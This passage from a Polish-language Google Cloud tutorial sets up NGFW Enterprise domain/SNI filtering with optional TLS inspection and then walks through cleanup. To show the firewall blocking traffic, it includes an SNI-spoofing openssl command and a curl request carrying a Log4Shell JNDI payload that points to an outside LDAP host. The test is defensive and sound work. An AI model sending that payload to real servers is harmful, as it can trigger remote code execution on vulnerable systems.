IQC6O2leGpUvSExL6fYvpVba3mrNVlw1a5u8OFI7NSguhTANBgkqhkiG9w0BAQsF
AAOCAQEAa9vVQ6zoBODliAAhLTG3uYaQZevaE96lOdD0jnRw/u3EzNL4UnDED/O+
x8XNvv5njb5MsntnYUgQda3nNtYfpGe6qvuYhyiBegdzqBsHVik4Rzlp/YeMGAV/
zqKl+Wtg5iCjq4+yI3aLex36NeFA7n8SQbKc0n8PvmAF7Anh80H3A/XPaINTKueO
kBltI+iP9FPL64b5NbcNqeanibsOE/2tMImLF/7Kp1/5IFCq7UsR09mBRRfUbRyc
1Zp7ndj5sMLqqgCuF8wTaELMubN4pw5S9FdO7iWA254+NhXidnU8WNHadgR0OmWr
jr89HAhAtpQGEarldpmnJPMadHEcdw==
-----END CERTIFICATE-----
subject=CN = www.google.com
issuer=C = US, O = Google Trust Services, CN = WR2
---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 4495 bytes and written 397 bytes
Verification: OK
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

Inspekcja TLS może pomóc w załataniu tej dziury.

Zamknij połączenie i opuść maszynę wirtualną:

"ctrl" + c
exit

18. [Opcjonalnie] Inspekcja TLS

Konfigurowanie zasobów TLS

Ta sekcja jest opcjonalna, ponieważ filtrowanie domen/SNI działa bez konieczności kontroli TLS. Jeśli jednak planujesz korzystać z zapobiegania zagrożeniom lub w przyszłości, gdy będzie dostępne filtrowanie pełnych adresów URL, chcesz tworzyć w profilu zabezpieczeń reguły oparte na ścieżkach, możesz włączyć inspekcję TLS.

Dodatkowo inspekcja TLS zapewnia dodatkową warstwę kontroli, ponieważ istnieje możliwość fałszowania SNI.

Utwórz pulę urzędów certyfikacji. To zasób, w którym będzie przechowywany wygenerowany przez nas certyfikat głównego urzędu certyfikacji dla NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=devops

Utwórz główny urząd certyfikacji. Jest to certyfikat CA, który będzie używany do podpisywania dodatkowych certyfikatów w przypadku żądań przesyłanych przez NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Domain/SNI"

Jeśli pojawi się poniższy komunikat, odpowiedz y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

Utwórz konto usługi. To konto usługi będzie używane do wysyłania próśb o certyfikaty dla NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Ustaw uprawnienia konta usługi:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Utwórz plik YAML zasad TLS. Będzie on zawierał informacje o konkretnych zasobach:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Zaimportuj zasadę inspekcji TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Zaktualizuj powiązanie punktu końcowego, aby włączyć TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Pobierz certyfikat CA i dodaj go do magazynu CA klienta. Jest to wymagane w przypadku zaufania, ponieważ NGFW Enterprise ustanowi protokół TLS i przedstawi podpisany certyfikat z puli urzędów certyfikacji:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Przenieś certyfikat CA na klienta:

gcloud compute scp --tunnel-through-iap  $prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

Połącz się z maszyną wirtualną za pomocą SSH, przenieś certyfikat CA do katalogu /usr/local/share/ca-certificates i zaktualizuj magazyn CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv domain-sni-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Zamknij maszynę wirtualną i kontynuuj w Cloud Shell.

Aktualizowanie reguły zapory sieciowej na potrzeby inspekcji TLS

gcloud compute network-firewall-policies rules update 300 --action=apply_security_profile_group --firewall-policy=$prefix-fwpolicy  --global-firewall-policy --direction=EGRESS --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg --layer4-configs=tcp:80,tcp:443 --dest-ip-ranges=0.0.0.0/0 --enable-logging --tls-inspect

Sprawdzanie reguł za pomocą inspekcji TLS

Zainicjuj połączenie SSH z maszyną wirtualną za pomocą IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Wyślij przykładowe żądania do dozwolonych miejsc docelowych:

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

Powinny one przejść bez problemu. Jeśli chcesz sprawdzić certyfikat i potwierdzić, czy jest on podpisany przez NGFW, możesz uruchomić to polecenie:

curl https://ifconfig.me --max-time 2 -vv

Oczekiwane dane wyjściowe:

admin@domain-sni-us-west1-a-client:~$ curl https://ifconfig.me --max-time 2 -vv
*   Trying 34.160.111.145:443...
* Connected to ifconfig.me (34.160.111.145) port 443 (#0)
* ALPN: offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=ifconfig.me
*  start date: Sep 20 07:05:42 2025 GMT
*  expire date: Sep 21 06:58:10 2025 GMT
*  subjectAltName: host "ifconfig.me" matched cert's "ifconfig.me"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#5226903875461534691
*  SSL certificate verify ok.
* using HTTP/1.x
> GET / HTTP/1.1
> Host: ifconfig.me
> User-Agent: curl/7.88.1
> Accept: */*
> 
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
< Content-Length: 10
< access-control-allow-origin: *
< content-type: text/plain
< date: Sat, 20 Sep 2025 07:05:43 GMT
< via: 1.1 google
< Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
< 
* Connection #0 to host ifconfig.me left intact
x.x.x.x

Z powyższych danych wyjściowych wynika, że żądanie jest sprawdzane przez NGFW Enterprise za pomocą protokołu TLS, ponieważ otrzymany certyfikat jest podpisany przez utworzony wcześniej główny urząd certyfikacji. (pole wydawcy)

Sprawdzanie reguł, które próbują sfałszować SNI za pomocą inspekcji TLS

Sprawdźmy teraz, jak działa inspekcja TLS.

Aby sfałszować SNI, uruchom to polecenie openssl:

openssl s_client -connect www.google.com:443 -servername ifconfig.me

Oczekiwane dane wyjściowe:

CONNECTED(00000003)
write:errno=104
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 0 bytes and written 317 bytes
Verification: OK
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

Z powyższego wyniku wynika, że wcześniej działające żądanie fałszowania SNI teraz kończy się niepowodzeniem, gdy włączona jest kontrola TLS. Dzieje się tak, ponieważ gdy włączona jest kontrola protokołu TLS, NGFW sprawdza SNI pod kątem alternatywnej nazwy podmiotu (SAN) certyfikatu serwera. Jeśli nie będzie się zgadzać, uzgadnianie połączenia TLS nie powiedzie się.

Weryfikacja domeny/SNI i zapobieganie zagrożeniom za pomocą inspekcji TLS

Ponownie przeprowadzimy test, który wcześniej wykrył złośliwe żądanie (log4j) do dozwolonej domeny.

Wysyłanie przykładowego złośliwego kodu (log4j) do dozwolonej domeny lub miejsca docelowego SNI:

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

Oczekiwane dane wyjściowe:

000

Ten kod odpowiedzi 000 oznacza, że połączenie zostało zakończone przez NGFW, ponieważ wykryto zagrożenie. Aby to potwierdzić, możemy zebrać bardziej szczegółowe dane wyjściowe.

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 -vv

Oczekiwane dane wyjściowe:

*   Trying 89.238.73.97:443...
* Connected to www.eicar.org (89.238.73.97) port 443 (#0)
* ALPN: offers h2,http/1.1
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
} [512 bytes data]
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Server hello (2):
{ [122 bytes data]
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
{ [6 bytes data]
* TLSv1.3 (IN), TLS handshake, Certificate (11):
{ [3423 bytes data]
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
{ [80 bytes data]
* TLSv1.3 (IN), TLS handshake, Finished (20):
{ [52 bytes data]
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
} [1 bytes data]
* TLSv1.3 (OUT), TLS handshake, Finished (20):
} [52 bytes data]
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=www.eicar.org
*  start date: Sep 20 07:50:20 2025 GMT
*  expire date: Sep 21 10:41:22 2025 GMT
*  subjectAltName: host "www.eicar.org" matched cert's "www.eicar.org"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#4044393130040997148
*  SSL certificate verify ok.
* using HTTP/1.x
} [5 bytes data]
> GET / HTTP/1.1
> Host: www.eicar.org
> Accept: */*
> User-Agent: ${jndi:ldap://123.123.123.123:8055/a}
> 
* Recv failure: Connection reset by peer
* OpenSSL SSL_read: Connection reset by peer, errno 104
* Closing connection 0
} [5 bytes data]
* Send failure: Broken pipe
000

Z powyższego wynika, że NGFW przeprowadził inspekcję TLS i zablokował złośliwe żądanie.

Wyjdź z maszyny wirtualnej:

exit

Aby dowiedzieć się, jak usunąć te pliki, przejdź do następnej sekcji.

19. Procedura czyszczenia

Czyszczenie konfiguracji podstawowej

Usuń instancje:

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Usuń zasadę sieciową zapory sieciowej Cloud Firewall i powiązanie:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Usuń router Cloud Router i Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Usuń zarezerwowane adresy IP:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Czyszczenie SPG i powiązań Cloud Firewall

Usuń grupę profili zabezpieczeń i profil filtrowania zagrożeń i adresów URL w tej kolejności:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles url-filtering \
  delete $prefix-sp \
  --organization $org_id \
  --location=global

Usuń powiązanie punktu końcowego zapory sieciowej:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Usuń punkt końcowy zapory sieciowej Cloud Firewall. Może to potrwać około 20 minut:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

Opcjonalnie możesz sprawdzić, czy punkt końcowy Cloud NGFW został usunięty. W tym celu uruchom to polecenie:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Stan punktu końcowego powinien wskazywać:

STATE: DELETING

Po zakończeniu punkt końcowy nie będzie już widoczny na liście.

[Opcjonalnie] Czyszczenie TLS

Jeśli przeprowadzono opcjonalne konfiguracje inspekcji TLS, uruchom te polecenia, aby wyczyścić zasoby TLS.

Usuń zasadę TLS:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

Wyłącz i usuń główny urząd certyfikacji oraz pulę urzędów certyfikacji:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Czyszczenie podsieci i sieci VPC

Na koniec usuń podsieć i sieć VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

20. Podsumowanie i wskazówki

Ten moduł jest bardzo prosty i testuje tylko jedną maszynę wirtualną, która łączy się z internetem. W rzeczywistych scenariuszach VPC może zawierać wiele zasobów, a ruch może odbywać się we wszystkich kierunkach (północ–południe i wschód–zachód). Reguła zapory sieciowej do filtrowania domeny lub SNI to WYJŚCIE 0.0.0.0/0, więc jest to reguła „obejmująca wszystko” i MUSI być skonfigurowana jako reguła o najniższym priorytecie w zasadach sieci. W przeciwnym razie ruch będzie nieoczekiwanie dopasowywany i zezwalany lub odrzucany na podstawie domyślnej reguły urlFiltering.

Aby ograniczyć zakres, możesz też użyć opcji Typy sieci. Zapobiega to dopasowaniu ruchu E/W do reguły. Możesz też utworzyć regułę zezwalającą o wyższym priorytecie dla ruchu E/W.

Zapoznaj się z dokumentem dotyczącym sprawdzonych metod, w którym szczegółowo opisano filtrowanie domen/SNI.

21. Gratulacje!

Gratulujemy! Udało Ci się ukończyć ćwiczenie Cloud NGFW Enterprise dotyczące filtrowania domen i SNI z opcjonalną inspekcją TLS.